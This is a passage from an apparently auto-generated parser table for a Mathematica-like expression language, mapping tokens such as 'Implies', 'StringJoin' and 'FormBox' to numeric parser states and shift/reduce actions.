135,-149,-129,-128,356,-160,-110,]),'blanks':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[30,30,-123,30,30,-126,30,30,30,-125,-122,-124,30,30,30,-119,30,30,30,-121,30,30,30,30,30,30,30,-120,-118,30,-142,-141,30,-140,30,30,-179,30,30,30,30,30,-79,30,30,30,30,-127,30,-143,30,-23,30,30,30,30,-16,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,-68,30,30,30,30,30,30,30,30,30,-137,30,30,30,30,-69,30,30,30,30,30,30,30,30,-106,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,-37,30,30,30,30,30,30,30,30,-17,30,-39,30,30,30,30,30,30,-148,30,30,30,-45,-18,30,30,30,30,-36,30,30,30,30,-89,30,30,30,30,30,30,30,30,30,-169,30,30,30,30,30,-107,-22,-132,30,30,30,30,-133,30,-180,30,30,30,30,30,-194,30,-175,30,30,30,-105,30,30,30,30,30,30,30,30,30,30,-52,30,30,30,30,-64,-26,30,30,30,-13,30,30,30,30,30,30,30,30,30,30,-6,30,30,-78,-172,30,30,30,30,-171,30,30,-136,30,-5,-147,-144,30,-146,30,-56,30,30,30,30,30,-96,30,30,30,-10,-24,30,-9,30,30,30,30,30,30,30,30,30,30,30,-100,30,-145,30,30,30,-134,30,-20,30,30,30,30,-53,-67,-130,-131,30,30,30,30,30,30,30,30,-82,30,30,30,30,30,-109,30,-122,30,-138,-189,-191,-192,-187,-185,-183,30,-195,-176,30,30,30,-168,30,30,30,-108,30,30,30,30,30,30,-193,30,30,-135,30,-129,-128,30,-188,-190,-186,-184,-110,]),'Implies':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,164,-120,-118,-142,-141,-157,-140,164,164,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,164,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,164,-133,-175,164,-154,-152,-105,-65,-29,-92,164,164,-99,-31,164,164,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,164,-66,-63,164,164,-51,164,-6,164,-91,-78,-172,-101,164,164,164,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,164,-56,-41,164,-21,164,-97,-96,164,-153,-156,-10,-24,-80,-9,-40,-54,164,-32,164,164,164,-19,164,164,-3,-100,164,-145,-61,164,164,-134,-102,-20,-42,-50,164,164,-53,-67,-130,-131,-49,-86,164,-12,164,-33,-30,-82,-83,164,-4,164,164,-109,-122,164,-138,-176,-151,-168,-154,-150,-108,164,164,164,-135,-149,-129,-128,164,-110,]),'CirclePlus':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,165,-120,-118,-142,-141,165,-140,165,165,-79,165,165,165,-156,-127,165,-143,165,-23,165,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,165,165,-133,-175,165,-154,165,-105,165,165,165,165,165,-99,165,165,165,165,-52,165,165,165,165,-64,-26,165,165,-8,-13,165,165,165,165,165,165,165,165,165,165,-6,165,165,-78,-172,165,165,165,165,-171,165,-11,-136,165,-5,-147,-144,165,-146,165,-56,165,165,-21,165,165,-96,165,165,-156,-10,-24,-80,-9,165,165,165,165,165,165,165,-19,165,165,165,-100,165,-145,165,165,165,-134,165,-20,165,165,165,165,-53,-67,-130,-131,165,165,165,-12,165,165,165,-82,165,165,165,165,165,-109,-122,165,-138,-176,165,-168,-154,165,-108,165,165,165,-135,165,-129,-128,165,-110,]),'RawComma':([2,5,9,10,11,16,17,21,29,30,31,33,34,35,36,47,48,49,50,51,52,53,54,55,56,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,169,171,177,178,179,180,182,183,184,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,313,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,184,-120,-118,-142,-141,-157,-140,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,184,-169,-107,-22,-132,-159,312,-116,184,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,-94,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,-165,-66,-63,-7,-173,-51,-84,-6,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,-167,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,-170,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,184,-82,-83,-95,-4,-70,-14,-109,-114,312,-122,-161,-138,-176,-151,-168,-154,-150,-108,-113,-164,-166,-135,-149,-129,-128,-160,-110,]),'Postfix':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,166,-120,-118,-142,-141,-157,-140,166,166,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,166,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,166,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,166,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,166,-66,-63,166,166,-51,-84,-6,166,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,166,-21,-27,-97,-96,166,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,166,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,166,-134,-102,-20,-42,-50,-75,166,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,166,-4,-70,-14,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,166,166,166,-135,-149,-129,-128,-160,-110,]),'symbol':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[31,31,-123,31,31,-126,31,31,31,-125,-122,-124,31,31,31,-119,31,31,31,-121,31,31,31,31,31,31,31,-120,-118,31,-142,-141,31,-140,31,31,-179,31,31,31,31,31,-79,31,31,31,31,-127,31,-143,31,-23,31,31,31,31,-16,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,-68,31,31,31,31,31,31,31,31,31,-137,31,31,31,31,-69,31,31,31,31,31,31,31,31,-106,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,-37,31,31,31,31,31,31,31,31,-17,31,-39,31,31,31,31,31,31,-148,31,31,31,-45,-18,31,31,31,31,-36,31,31,31,31,-89,294,31,31,31,31,31,31,31,31,31,-169,31,31,31,31,31,-107,-22,-132,31,31,31,31,-133,31,-180,31,31,31,31,31,-194,31,-175,31,31,31,-105,31,31,31,31,31,31,31,31,31,31,-52,31,31,31,31,-64,-26,31,31,31,-13,31,31,31,31,31,31,31,31,31,31,-6,31,31,-78,-172,31,31,31,31,-171,31,31,-136,31,-5,-147,-144,31,-146,31,-56,31,31,31,31,31,-96,31,31,31,-10,-24,31,-9,31,31,31,31,31,31,31,31,31,31,31,-100,31,-145,31,31,31,-134,31,-20,31,31,31,31,-53,-67,-130,-131,31,31,31,31,31,31,31,31,-82,31,31,31,31,31,-109,31,-122,31,-138,-189,-191,-192,-187,-185,-183,31,-195,-176,31,31,31,-168,31,31,31,-108,31,31,31,31,31,31,-193,31,31,-135,31,-129,-128,31,-188,-190,-186,-184,-110,]),'RawRightParenthesis':([2,5,9,10,11,16,17,21,30,31,33,34,35,36,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,-120,-118,-142,-141,-157,-140,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,202,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,-94,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,-165,-66,-63,-7,-173,-51,-84,-6,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,-167,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,-170,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,-95,-4,-70,-14,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,-164,-166,-135,-149,-129,-128,-160,-110,]),'Equal':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,167,-120,-118,-142,-141,167,-140,167,167,-79,167,167,-155,-156,-127,167,-143,167,-23,167,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,167,167,-133,-175,167,-154,-152,-105,-65,-29,-92,167,167,-99,-31,167,167,-48,-52,167,-43,167,-139,-64,-26,167,167,-8,-13,167,-90,167,167,-66,167,167,167,-51,167,-6,167,-91,-78,-172,167,167,167,167,-171,-46,-11,-136,-58,-5,-147,-144,167,-146,167,-56,-41,167,-21,167,-97,-96,167,-153,-156,-10,-24,-80,-9,-40,-54,167,-32,167,167,167,-19,167,167,167,-100,167,-145,-61,167,167,-134,167,-20,-42,-50,167,167,-53,-67,-130,-131,-49,167,167,-12,167,-33,167,-82,167,167,167,167,167,-109,-122,167,-138,-176,-151,-168,-154,-150,-108,167,167,167,-135,-149,-129,-128,167,-110,]),'Element':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,168,-120,-118,-142,-141,168,-140,168,168,-79,168,168,-155,-156,-127,168,-143,168,-23,168,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,168,168,-133,-175,168,-154,-152,-105,-65,-29,-92,168,168,-99,-31,168,168,-48,-52,-59,-43,168,-139,-64,-26,-93,168,-8,-13,168,-90,168,168,-66,168,168,168,-51,168,-6,168,-91,-78,-172,168,168,168,168,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,168,-56,-41,168,-21,168,-97,-96,168,-153,-156,-10,-24,-80,-9,-40,-54,168,-32,168,168,168,-19,168,168,168,-100,168,-145,-61,168,168,-134,168,-20,-42,-50,168,168,-53,-67,-130,-131,-49,-86,168,-12,168,-33,-30,-82,-83,168,168,168,168,-109,-122,168,-138,-176,-151,-168,-154,-150,-108,168,168,168,-135,-149,-129,-128,168,-110,]),'RawLeftBracket':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,169,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,169,-120,-118,169,169,169,169,169,169,169,169,169,169,-156,-127,169,169,169,169,169,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,169,-45,-18,-36,-89,304,-169,-107,-22,169,169,169,169,-175,169,-154,169,-105,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,-64,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,-172,169,169,169,169,-171,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,-156,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,-130,-131,169,169,169,169,169,169,169,169,169,169,169,169,169,-109,-122,169,169,-176,169,-168,-154,169,-108,169,169,169,169,169,-129,-128,169,-110,]),'StringJoin':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,170,-120,-118,170,170,170,170,170,170,170,170,170,170,-156,-127,170,170,170,170,170,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,170,-45,-18,-36,-89,-169,-107,-22,-132,170,170,-133,-175,170,-154,170,-105,170,170,170,170,170,170,170,170,170,170,-52,170,170,170,170,-64,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,-172,170,170,170,170,-171,170,170,-136,170,-5,170,170,170,170,170,170,170,170,170,170,170,170,170,170,-156,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,-134,170,170,170,170,170,170,-53,170,-130,-131,170,170,170,170,170,170,170,-82,170,170,170,170,170,-109,-122,170,170,-176,170,-168,-154,170,-108,170,170,170,-135,170,-129,-128,170,-110,]),'FormBox':([2,5,9,10,11,16,17,21,30,31,33,34,35,36,42,43,47,48,49,50,51,52,53,54,55,56,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,-120,-118,-142,-141,-157,-140,196,-178,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,-94,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,-165,-66,-63,-7,-173,-51,-84,-6,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,-167,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,-170,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,-95,-4,-70,-14,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,-164,-166,-135,-149,-129,-128,-160,-110,]),'Unset':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,171,-120,-118,-142,-141,-157,-140,171,171,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,171,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,171,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,171,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,171,-66,-63,-7,171,-51,-84,-6,329,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,171,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,171,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,171,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,171,-4,-70,-14,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,171,171,171,-135,-149,-129,-128,-160,-110,]),'Subset':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,172,-120,-118,-142,-141,172,-140,172,172,-79,172,172,-155,-156,-127,172,-143,172,-23,172,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,172,172,-133,-175,172,-154,-152,-105,-65,-29,-92,172,172,-99,-31,172,172,-48,-52,-59,-43,172,-139,-64,-26,-93,172,-8,-13,172,-90,172,172,-66,172,172,172,-51,172,-6,172,-91,-78,-172,172,172,172,172,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,172,-56,-41,172,-21,172,-97,-96,172,-153,-156,-10,-24,-80,-9,-40,-54,172,-32,172,172,172,-19,172,172,172,-100,172,-145,-61,172,172,-134,172,-20,-42,-50,172,172,-53,-67,-130,-131,-49,-86,172,-12,172,-33,-30,-82,-83,172,172,172,172,-109,-122,172,-138,-176,-151,-168,-154,-150,-108,172,172,172,-135,-149,-129,-128,172,-110,]),'UpSet':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,173,-120,-118,-142,-141,-157,-140,173,173,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,173,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,173,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,173,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,173,-66,-63,-7,173,-51,-84,-6,173,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,173,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,173,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,173,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,173,-4,-70,-14,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,173,173,173,-135,-149,-129,-128,-160,-110,]),'op_And':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,174,-120,-118,-142,-141,-157,-140,174,174,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,174,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,174,-133,-175,174,-154,-152,-105,-65,-29,-92,174,174,-99,-31,174,174,-48,-52,-59,-43,174,-139,-64,-26,-93,174,-8,-13,-55,-90,174,174,-66,174,174,174,-51,174,-6,174,-91,-78,-172,174,174,174,174,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,174,-56,-41,174,-21,174,-97,-96,174,-153,-156,-10,-24,-80,-9,-40,-54,174,-32,174,174,174,-19,174,174,-3,-100,174,-145,-61,174,174,-134,174,-20,-42,-50,174,174,-53,-67,-130,-131,-49,-86,174,-12,174,-33,-30,-82,-83,174,-4,174,174,-109,-122,174,-138,-176,-151,-168,-154,-150,-108,174,174,174,-135,-149,-129,-128,174,-110,]),'RightBoxParenthesisInternal':([2,5,9,10,11,16,17,21,30,31,33,34,35,36,3